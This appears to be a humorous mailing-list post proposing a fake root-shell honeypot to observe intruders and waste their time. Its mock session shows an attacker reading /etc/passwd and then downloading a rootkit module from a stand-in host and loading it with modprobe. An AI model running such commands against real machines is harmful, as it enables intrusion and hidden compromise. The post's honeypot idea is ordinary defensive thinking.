I think it would be even more fun to give them something that looks like
a root shell and see what they do with it:

Login successful!
This is OpenLinuxBSD-NT 1.3.37 built in The Mysterious Future!
All activity is unmonitored, so definitely feel free to serve warez!
# id
root(0) groups=wheel
# uptime
forever!
# cat /etc/passwd
root:*:0:0:Enoch Root:...
# ftp http://secretrootkit.com/rootkit.ko
[=================>] 100% (0:08)
# modprobe rootkit.ko
Oops: 0000 [#1]
Modules linked in: foo bar baz
CPU: 0
EIP: 0060: [<00000000>] Tainted
...
#

etc. Great way to see what hackers are really doing to the machines they
compromise, and to see whether or not they try to debug the oops ;)
Plus, the time they waste with your machine is time that they no longer
have to waste on real machines.
